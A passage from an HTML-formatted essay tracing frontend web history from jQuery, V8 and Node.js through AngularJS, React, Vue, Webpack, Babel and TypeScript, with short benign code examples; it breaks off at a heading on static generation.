&lt;li&gt;Binding events:
&lt;ul&gt;
&lt;li&gt;Standard: &lt;code&gt;addEventListener&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IE: &lt;code&gt;attachEvent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Getting computed styles:
&lt;ul&gt;
&lt;li&gt;Standard: &lt;code&gt;getComputedStyle&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IE: &lt;code&gt;currentStyle&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every frontend engineer had a &lt;code&gt;utils.js&lt;/code&gt; on their computer holding hundreds of lines of dirty compatibility code&lt;/p&gt;
&lt;p&gt;In August 2006, &lt;strong&gt;John Resig&lt;/strong&gt; released &lt;strong&gt;jQuery&lt;/strong&gt; at BarCamp NYC&lt;br /&gt;
Its core idea was brutally simple: &lt;strong&gt;hide all browser differences behind the &lt;code&gt;$&lt;/code&gt; symbol&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.2 The art of chaining&lt;/h3&gt;
&lt;p&gt;jQuery invented a highly expressive API style: &lt;strong&gt;method chaining&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The old code:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var div = document.getElementById(&apos;CEPATO&apos;);
div.style.color = &apos;red&apos;;
div.style.display = &apos;block&apos;;
div.onclick = function() { alert(&apos;clicked&apos;); };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The jQuery code:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$(&apos;#CEPATO&apos;).css(&apos;color&apos;, &apos;red&apos;).show().click(function() {
    alert(&apos;clicked&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Sizzle engine&lt;/strong&gt;: the heart of jQuery. It let JS select elements the way CSS does (&lt;code&gt;div &amp;gt; ul.list li:first-child&lt;/code&gt;). That was black magic at the time&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implicit iteration&lt;/strong&gt;: &lt;code&gt;$(&apos;.item&apos;).hide()&lt;/code&gt; automatically hides every &lt;code&gt;.item&lt;/code&gt; on the page; no &lt;code&gt;for&lt;/code&gt; loop needed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;jQuery quickly became the &lt;strong&gt;de facto standard&lt;/strong&gt;. Microsoft even ended up bundling jQuery IntelliSense into Visual Studio&lt;/p&gt;
&lt;h3&gt;4.3 The golden age of copycats&lt;/h3&gt;
&lt;p&gt;Another great thing about jQuery was its plugin mechanism (&lt;code&gt;$.fn.extend&lt;/code&gt;)&lt;br /&gt;
It gave rise to the earliest prototype of componentization in frontend&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lightbox&lt;/strong&gt;: click an image, the background dims and the image enlarges&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Carousel&lt;/strong&gt;: an image slider&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Datepicker&lt;/strong&gt;: a date picker&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Countless slicers who didn&apos;t understand how JS worked could, just by downloading jQuery plugins and tweaking CSS, assemble a site full of interactions&lt;br /&gt;
jQuery dramatically lowered the bar for frontend, but it also sowed disaster: masses of spaghetti code and abusive DOM manipulation made pages slower and slower&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. The engine arms race&lt;/h2&gt;
&lt;h3&gt;5.1 Speed&lt;/h3&gt;
&lt;p&gt;As AJAX and jQuery spread, the amount of JS in web pages grew exponentially&lt;br /&gt;
From a few hundred lines to a few thousand, even tens of thousands... and then&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The browser couldn&apos;t keep up&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JS engines back then were all &lt;strong&gt;interpreters&lt;/strong&gt;: read a line, run a line. Extremely inefficient&lt;br /&gt;
If web apps wanted to replace desktop software, the biggest bottleneck was &lt;strong&gt;slowness&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.2 Google&apos;s overt scheme&lt;/h3&gt;
&lt;p&gt;In September 2008, Google released a comic book introducing a new browser: &lt;strong&gt;Chrome&lt;/strong&gt;&lt;br /&gt;
With it came a brand-new JS engine: &lt;strong&gt;V8&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;V8 did something earth-shattering: &lt;strong&gt;JIT&lt;/strong&gt;&lt;br /&gt;
It didn&apos;t interpret code; it &lt;strong&gt;compiled JavaScript straight into machine code&lt;/strong&gt; and ran that&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When V8 first shipped, JS execution was faster than IE by an untold multiple&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi-process&lt;/strong&gt;: one tab crashing wouldn&apos;t bring down the whole browser. This was also a Chrome first&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;V8 changed everything&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It proved JS could run blazingly fast&lt;/li&gt;
&lt;li&gt;It gave JS the ability to handle extremely complex logic (not just form validation)&lt;/li&gt;
&lt;li&gt;Since V8 was so fast and was a standalone C++ library, why not take it out and run JS on a server? (And a year later, Node.js was born)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.3 WebKit&lt;/h3&gt;
&lt;p&gt;Meanwhile, Apple&apos;s open-source &lt;strong&gt;WebKit&lt;/strong&gt; engine (derived from KHTML) began to rise. Safari and early Chrome both used WebKit&lt;br /&gt;
It was the cornerstone of the &lt;strong&gt;mobile internet&lt;/strong&gt;. When the first iPhone launched, Jobs refused to support Flash and only backed web standards&lt;br /&gt;
Which meant the coming mobile web wave would belong to WebKit... or would it?&lt;/p&gt;
&lt;p&gt;At this point, frontend had:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Interactivity&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A data standard&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Developer tools&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A standard library&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A high-performance engine&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Everything was ready&lt;br /&gt;
But as code volume ballooned, a massive crisis was coming&lt;br /&gt;
We had guns and cannons, but we lacked tactics. We could write flashy effects, but we couldn&apos;t maintain large systems&lt;/p&gt;
&lt;p&gt;Next up is engineering and the architectural revolution: Node.js takes the stage, and frontend finally starts thinking like a proper software engineer&lt;/p&gt;
&lt;h2&gt;6. Nodejs&lt;/h2&gt;
&lt;p&gt;If in the first twenty years frontend was dancing in chains inside the browser sandbox, then starting in 2010, frontend engineers pulled off an earth-shattering, heaven-and-earth-weeping jailbreak that completely rewrote the rules of the game&lt;/p&gt;
&lt;h3&gt;6.1 Ryan Dahl&apos;s crazy experiment&lt;/h3&gt;
&lt;p&gt;At JSConf EU in 2009, a young man named &lt;strong&gt;Ryan Dahl&lt;/strong&gt; gave a demo&lt;/p&gt;
&lt;p&gt;He did something that seemed to betray his ancestors: &lt;strong&gt;he pulled the V8 engine out of Google Chrome, bolted filesystem and network modules onto it, and made it run on a server&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It was like pulling the engine out of a Ferrari and mounting it on a tractor&lt;/p&gt;
&lt;p&gt;The project was called &lt;strong&gt;Node.js&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At first, everyone thought it was a revolution in backend technology (non-blocking I/O, high concurrency)&lt;br /&gt;
But soon frontend engineers discovered an earth-shattering secret: wait — if the server can run JS, does that mean we can write... in JS...&lt;/p&gt;
&lt;p&gt;Before that, if you wanted to minify a JS file, you had to use YUI Compressor, written in Java&lt;br /&gt;
If you wanted to preprocess CSS, you had to use Sass, written in Ruby&lt;br /&gt;
Frontend developers&apos; toolchains were in other people&apos;s hands&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;With Node.js, frontend gained the right to build its own wheels&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.2 npm&lt;/h3&gt;
&lt;p&gt;In 2010, &lt;strong&gt;Isaac Z. Schlueter&lt;/strong&gt; released &lt;strong&gt;npm&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before that, if we wanted jQuery, we downloaded &lt;code&gt;jquery.js&lt;/code&gt; from the official site, dropped it in the project folder, and wrote &lt;code&gt;&amp;lt;script src=&quot;jquery.js&quot;&amp;gt;&lt;/code&gt; in the HTML. If jQuery depended on another library, you had no idea until it errored&lt;/p&gt;
&lt;p&gt;npm changed everything:
&lt;code&gt;npm install jquery&lt;/code&gt;&lt;br /&gt;
This wasn&apos;t just a download tool; it introduced &lt;strong&gt;semantic versioning&lt;/strong&gt; and the &lt;strong&gt;dependency tree&lt;/strong&gt;&lt;br /&gt;
Frontend code was no longer fragments scattered everywhere, but an organized, reusable &lt;strong&gt;module system&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.3 Automated builds: Grunt and Gulp&lt;/h3&gt;
&lt;p&gt;With Node.js (a runtime) and npm (package management) in hand, frontend engineers began writing &lt;strong&gt;automation scripts&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Grunt&lt;/strong&gt;: a configuration-based build tool. You write a giant JSON object telling it to first concatenate files A and B, then minify, then rename&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gulp&lt;/strong&gt;: a stream-based build tool. The code reads as smoothly as a pipeline:&lt;pre&gt;&lt;code&gt;src(&apos;src/*.js&apos;)
  .pipe(babel())
  .pipe(uglify())
  .pipe(dest(&apos;dist/&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;This was the beginning of frontend engineering&lt;/strong&gt;&lt;br /&gt;
We no longer refreshed the browser by hand or compressed images by hand&lt;br /&gt;
&lt;strong&gt;Frontend development evolved from handcraft to assembly line&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. The MVC free-for-all and the great mobile migration&lt;/h2&gt;
&lt;h3&gt;7.1 Steve Jobs&apos;s verdict and the rise of HTML5&lt;/h3&gt;
&lt;p&gt;In April 2010, Steve Jobs published his famous open letter, &lt;strong&gt;Thoughts on Flash&lt;/strong&gt;&lt;br /&gt;
He listed Flash&apos;s six sins (battery drain, poor touchscreen support, being closed, etc.) and announced that the iPhone/iPad would never support Flash&lt;/p&gt;
&lt;p&gt;At that moment, the Web&apos;s fate was rewritten&lt;br /&gt;
The gates of the &lt;strong&gt;mobile internet&lt;/strong&gt; swung open, and the only passport was &lt;strong&gt;HTML5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So every company needed a mobile version of its site&lt;br /&gt;
But phone CPUs and networks were far worse than computers&apos;, and screens were much smaller&lt;br /&gt;
Simple jQuery effects stuttered terribly on phones. We needed web pages that were more efficient and felt more native&lt;/p&gt;
&lt;h3&gt;7.2 The spaghetti code crisis&lt;/h3&gt;
&lt;p&gt;As requirements grew more complex (making a web version of Excel or Trello, say), frontend codebases broke the 100,000-line mark&lt;br /&gt;
jQuery&apos;s fatal flaw was fully exposed: &lt;strong&gt;it hid state in the DOM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine you&apos;re building a shopping cart&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With jQuery: you read text from &lt;code&gt;span.total-price&lt;/code&gt;, convert it to a number, add 1, then write it back to the &lt;code&gt;span&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;What if three other places on the page also show the total? You have to update three places by hand&lt;/li&gt;
&lt;li&gt;What if you miss one? There&apos;s your bug&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This &lt;strong&gt;add water when the dough is too dry, add flour when it&apos;s too wet&lt;/strong&gt; kind of code, tangled and complex, is called spaghetti code&lt;br /&gt;
Once the project grows, maintaining it is pure hell&lt;/p&gt;
&lt;h3&gt;7.3 Searching for order&lt;/h3&gt;
&lt;p&gt;To solve this, frontend began learning from backend and adopted the classic software architecture pattern: &lt;strong&gt;MVC&lt;/strong&gt;&lt;br /&gt;
The core idea: &lt;strong&gt;data (Model) is the source, and the view (View) is merely a projection of the data&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;7.3.1 The first-generation explorer: Backbone.js&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Backbone&lt;/strong&gt; was very lightweight. It gave you three base classes: Model, Collection and View&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It told you: keep data in the Model, not in the DOM&lt;/li&gt;
&lt;li&gt;When the Model changes, it fires a &lt;code&gt;change&lt;/code&gt; event&lt;/li&gt;
&lt;li&gt;The View listens for the event and manually updates the DOM (still with jQuery)&lt;/li&gt;
&lt;li&gt;It established order, but writing it was still exhausting — lots of glue&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;7.3.2 AngularJS (v1&lt;/h4&gt;
&lt;p&gt;Released in 2009, wildly popular by 2012. AngularJS brought two concepts that shook the world:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Two-way data binding&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input ng-model=&quot;username&quot;&amp;gt;
&amp;lt;h1&amp;gt;Hello, {{ username }}&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You type in the input and the text in the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; below changes &lt;strong&gt;in real time&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Without writing a single line of JS event listener code&lt;/strong&gt; That was plain magic at the time&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dependency injection&lt;/strong&gt;:
Want to use the &lt;code&gt;$http&lt;/code&gt; service? Just write it in the function parameters and Angular hands it to you automatically&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;AngularJS turned HTML into a &lt;strong&gt;template language&lt;/strong&gt;. It multiplied development efficiency tenfold&lt;br /&gt;
For a while, the whole world was rewriting projects in Angular. Frontend engineers felt they were finally &lt;strong&gt;developing software&lt;/strong&gt; instead of &lt;strong&gt;writing scripts&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.4 AMD vs CMD&lt;/h3&gt;
&lt;p&gt;While Node.js and frameworks were exploding, one fundamental problem remained unsolved: &lt;strong&gt;the JavaScript language itself had no module system&lt;/strong&gt; (until ES6)&lt;/p&gt;
&lt;p&gt;How do I reference one JS file from another?
The &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag was not only ugly, but dependency order was hard to manage (jquery.js had to come before plugin.js)&lt;/p&gt;
&lt;p&gt;So community standards were born:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CommonJS&lt;/strong&gt;: the standard Node.js uses (&lt;code&gt;require/module.exports&lt;/code&gt;). It loads synchronously, which suits servers but not browsers (network requests mean waiting)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AMD (RequireJS)&lt;/strong&gt;: Asynchronous Module Definition. &lt;code&gt;define([&apos;dep1&apos;], function(dep1) { ... })&lt;/code&gt;. It was the ruler on the browser side&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMD (SeaJS)&lt;/strong&gt;: a standard proposed by Taobao&apos;s 玉伯, closer to CommonJS&apos;s writing habits (dependencies declared near where they&apos;re used)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This wasn&apos;t just a technical battle; it was a battle for &lt;strong&gt;community influence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;At this point, we had completed the initial accumulation for industrialization&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We had &lt;strong&gt;build tools&lt;/strong&gt; and started developing like a proper army&lt;/li&gt;
&lt;li&gt;We had &lt;strong&gt;MVC frameworks&lt;/strong&gt; and started separating data from views&lt;/li&gt;
&lt;li&gt;We had the &lt;strong&gt;mobile market&lt;/strong&gt;, and our status rose to unprecedented heights&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But AngularJS&apos;s two-way binding ran into serious performance problems in large-scale applications&lt;br /&gt;
Meanwhile Facebook&apos;s engineers were struggling with an app called Instagram. They thought the MVC pattern was wrong for frontend too&lt;br /&gt;
They proposed a more radical idea: &lt;strong&gt;what if the view is just a function?&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;8. React and the paradigm shift&lt;/h2&gt;
&lt;h3&gt;8.1 The heresy of JSX&lt;/h3&gt;
&lt;p&gt;In 2013, when Facebook engineer Jordan Walke open-sourced React, the community&apos;s reaction was fury&lt;br /&gt;
Some even said: this destroys ten years of our hard work&lt;/p&gt;
&lt;p&gt;Why? Because of &lt;strong&gt;JSX&lt;/strong&gt;&lt;br /&gt;
In the past, the best practice was &lt;strong&gt;separation of concerns&lt;/strong&gt;: HTML for HTML (templates), JS for JS (logic)&lt;br /&gt;
React said: no, we&apos;re putting HTML inside JS&lt;/p&gt;
&lt;p&gt;React&apos;s core insight was that UI rendering logic (event handling, state changes) and UI presentation logic (DOM structure) are essentially tightly coupled. Forcing them into separate files is only physical separation, not logical separation&lt;/p&gt;
&lt;p&gt;JSX isn&apos;t a template; it&apos;s &lt;strong&gt;syntactic sugar for JavaScript&lt;/strong&gt;. That means you have all the power of a Turing-complete language (variables, if/else, loops, functions) to describe the interface, instead of being limited to clunky template syntax (&lt;code&gt;ng-repeat&lt;/code&gt;, &lt;code&gt;v-if&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;This was a &lt;strong&gt;revolution in thinking&lt;/strong&gt;: we&apos;re no longer writing pages, we&apos;re writing &lt;strong&gt;components&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.2 Virtual DOM&lt;/h3&gt;
&lt;p&gt;At the moment React was taking the most abuse, its &lt;strong&gt;performance&lt;/strong&gt; saved it.
Facebook had a hard problem: in an extremely complex feed, how do you update messages efficiently?&lt;br /&gt;
With jQuery, you had to manually find which DOM node changed; with Angular 1, it would frantically run dirty checking, causing the page to stutter&lt;/p&gt;
&lt;p&gt;React proposed the &lt;strong&gt;Virtual DOM&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Snapshot&lt;/strong&gt;: every time state changes, I generate a new virtual DOM tree in memory (pure JS objects)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff&lt;/strong&gt;: I compare the old and new trees with an efficient algorithm (O(n)) to find even a single attribute change&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch&lt;/strong&gt;: I apply only that tiny changed part to the real browser DOM&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;This was a victory of mathematics&lt;/strong&gt;&lt;br /&gt;
React doesn&apos;t even need to know the browser exists. It abstracts rendering into a function: &lt;code&gt;UI = f(State)&lt;/code&gt;&lt;br /&gt;
Change the state and the UI changes automatically. Developers never have to touch    &lt;code&gt;document.getElementById&lt;/code&gt; again. &lt;strong&gt;Manual DOM manipulation became history&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.3 Redux, the ascetic&lt;/h3&gt;
&lt;p&gt;React only solved the View. What about data?&lt;br /&gt;
Facebook proposed the &lt;strong&gt;Flux&lt;/strong&gt; architecture, which Dan Abramov later simplified into &lt;strong&gt;Redux&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Redux was extremely tedious: Action, Reducer, Store, Dispatch. Changing one field meant writing four files&lt;br /&gt;
&lt;strong&gt;Why were we torturing ourselves like this?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because in large applications, &lt;strong&gt;predictability matters more than convenience&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One-way data flow&lt;/strong&gt;: data only flows downward&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pure functions&lt;/strong&gt;: reducers must be pure, the same input always yielding the same output&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rewind&lt;/strong&gt;: because state is immutable, you can roll back to any earlier state at any time&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Redux cured the chaotic state management of the MVC era, at the cost of a ton of boilerplate&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;9. Vue&apos;s progressive philosophy&lt;/h2&gt;
&lt;h3&gt;9.1 Evan You&apos;s subtraction&lt;/h3&gt;
&lt;p&gt;Just as React was trying to educate the world with functional programming, a former Google employee named Evan You was thinking: &lt;strong&gt;is there a way to get both Angular&apos;s template convenience and React&apos;s virtual DOM performance?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In 2014-2015, &lt;strong&gt;Vue.js&lt;/strong&gt; took off&lt;br /&gt;
Its core philosophy was &lt;strong&gt;progressive&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Want to drop it in via CDN for a small widget? Sure, use it like jQuery&lt;/li&gt;
&lt;li&gt;Want a single-page app? Sure, bring in Vue Router and Vuex&lt;/li&gt;
&lt;li&gt;Want a large-scale project? Sure, bring in Vue CLI&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vue didn&apos;t force you to learn JSX; it kept HTML templates. This made countless developers who came from the HTML/CSS/jQuery era feel &lt;strong&gt;warmth&lt;/strong&gt;. In Greater China, Vue became the absolute ruler&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Stacking armor: I used &quot;Greater China&quot; purely out of personal habit — don&apos;t flame me if you don&apos;t like it&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;9.2 The reactive magic of Object.defineProperty&lt;/h3&gt;
&lt;p&gt;The most fascinating part of Vue 2.0 was its &lt;strong&gt;reactivity system&lt;/strong&gt;
It used ES5&apos;s &lt;code&gt;Object.defineProperty&lt;/code&gt; (getters/setters)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When you pass an object to Vue&apos;s &lt;code&gt;data&lt;/code&gt;, Vue walks all its properties and turns them into getters/setters&lt;/li&gt;
&lt;li&gt;When a component renders and reads a property, Vue records that this component depends on that property&lt;/li&gt;
&lt;li&gt;When the property changes (the setter is called), Vue notifies every component that depends on it to update&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This was more efficient than Angular 1&apos;s dirty checking and more automated than React&apos;s manual &lt;code&gt;setState&lt;/code&gt;. It was &lt;strong&gt;magic&lt;/strong&gt;, but for most developers, a &lt;strong&gt;happy kind of magic&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;10. The Tower of Babel of builds&lt;/h2&gt;
&lt;h3&gt;10.1 Webpack alchemy&lt;/h3&gt;
&lt;p&gt;In this period, the file frontend engineers hated most was probably &lt;code&gt;webpack.config.js&lt;/code&gt;&lt;br /&gt;
As SPAs spread, a project might have hundreds of JS files, dozens of CSS files and hundreds of images&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Webpack&lt;/strong&gt; stepped up and said: &lt;strong&gt;in my eyes, everything is a module&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JS is a module, CSS is a module (&lt;code&gt;import &apos;./style.css&apos;&lt;/code&gt;), images are modules (&lt;code&gt;import img from &apos;./logo.png&apos;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loader&lt;/strong&gt;: a transformer that turns Sass into CSS, ES6 into ES5, images into Base64&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin&lt;/strong&gt;: the butler, handling code minification, code splitting and injecting environment variables&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Webpack was extremely powerful and extremely complex. It even gave birth to a new job title: &lt;strong&gt;Webpack configuration engineer&lt;/strong&gt;&lt;br /&gt;
But it was also Webpack that finally gave frontend an &lt;strong&gt;industrial-grade build pipeline&lt;/strong&gt;. At last we could do Tree Shaking (shaking the tree to remove unused code) and on-demand loading&lt;/p&gt;
&lt;h3&gt;10.2 Let&apos;s live in the future&lt;/h3&gt;
&lt;p&gt;In June 2015, &lt;strong&gt;ES6 (ECMAScript 2015)&lt;/strong&gt; was officially released&lt;br /&gt;
It was the biggest update since JavaScript was born: &lt;code&gt;class&lt;/code&gt;, &lt;code&gt;module&lt;/code&gt;, &lt;code&gt;arrow function&lt;/code&gt;, &lt;code&gt;promise&lt;/code&gt;, &lt;code&gt;const/let&lt;/code&gt;&lt;br /&gt;
JS finally looked like a proper language&lt;/p&gt;
&lt;p&gt;But browsers (especially the villainous IE) didn&apos;t support it&lt;br /&gt;
&lt;strong&gt;Babel&lt;/strong&gt; (formerly 6to5) appeared&lt;/p&gt;
&lt;p&gt;It&apos;s a &lt;strong&gt;compiler&lt;/strong&gt;. It reads ES6 code in, converts it into equivalent ES5 and spits it out&lt;br /&gt;
That means: &lt;strong&gt;frontend developers are no longer limited by the user&apos;s browser version&lt;/strong&gt;&lt;br /&gt;
We can write code with 2026&apos;s syntax standard and run it on a 2010 browser through Babel&lt;/p&gt;
&lt;p&gt;This was a huge boost to frontend&apos;s confidence: &lt;strong&gt;we controlled the language&apos;s development&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;10.3 TypeScript&apos;s prodigal return&lt;/h3&gt;
&lt;p&gt;Around 2018, as projects broke the million-line mark, weakly typed JS became the biggest hidden danger&lt;br /&gt;
&quot;Cannot read property &apos;x&apos; of undefined&quot; was the culprit behind every production incident&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s &lt;strong&gt;TypeScript&lt;/strong&gt; finally had its day&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It&apos;s a &lt;strong&gt;superset&lt;/strong&gt; of JS&lt;/li&gt;
&lt;li&gt;It brought &lt;strong&gt;static type checking&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;It brought extremely powerful &lt;strong&gt;IDE IntelliSense&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At first, everyone found writing types a hassle (turning TS into &lt;code&gt;anyScript&lt;/code&gt;&lt;br /&gt;
but when you&apos;re refactoring a five-year-old component and the IDE tells you exactly where it breaks, you&apos;ll kneel down and thank TypeScript&lt;br /&gt;
&lt;strong&gt;No TS, no frontend&lt;/strong&gt; gradually became industry consensus&lt;/p&gt;
&lt;p&gt;At this point, the four pillars of modern frontend were established:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Component frameworks&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type systems&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build tools&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modern syntax&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We built a magnificent Tower of Babel&lt;br /&gt;
But the tower grew heavier and heavier&lt;br /&gt;
The &lt;code&gt;node_modules&lt;/code&gt; folder became a black hole (well, not that light). An &lt;code&gt;npm install&lt;/code&gt; took 5 minutes, an &lt;code&gt;npm run build&lt;/code&gt; took 3 minutes (well, not that fast)&lt;br /&gt;
SPA first-screen loads got slower and slower, and SEO remained a pain point&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The pendulum of history was about to swing again&lt;/strong&gt;&lt;br /&gt;
In pursuit of ultimate speed, we began to reflect: &lt;strong&gt;have we stuffed too much into the browser?&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;11. The static revival&lt;/h2&gt;
&lt;h3&gt;11.1 The cost of SPAs&lt;/h3&gt;
&lt;p&gt;From 2016 to 2019, if you weren&apos;t doing SPAs, you were embarrassed to call yourself frontend&lt;br /&gt;
But when the whole world was writing web pages in React, the problems showed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TTFB&lt;/strong&gt;: for a user to open the page, they first had to download a multi-megabyte JS bundle; only after the browser parsed it could the first line of text render. On a 3G network, that meant 5-10 seconds of white screen&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO drops to zero&lt;/strong&gt;: Google&apos;s crawler can execute JS, but Bing&apos;s or Baidu&apos;s crawlers often come up empty. For news and e-commerce sites, being unsearchable is death&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;The myth of CSR was shattered&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;11.2 Next.js and Nuxt&lt;/h3&gt;
&lt;p&gt;Vercel (the company behind Next.js) stepped up&lt;br /&gt;
Their idea was simple: &lt;strong&gt;if rendering in the browser is slow, why not go back to rendering on the server?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Isomorphic rendering&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;The user&apos;s first visit: the server runs the React code, generates an HTML string and returns it directly&lt;/li&gt;
&lt;li&gt;Subsequent clicks: the browser takes over and it becomes an SPA&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This sounds a lot like PHP/JSP in 1998, but the difference is: &lt;strong&gt;frontend and backend are one codebase (all JS/TS)&lt;/strong&gt;. Frontend engineers took back control of rendering while also keeping performance in mind&lt;/p&gt;
&lt;h3&gt;11.3 Static generation&lt;/h3&gt;
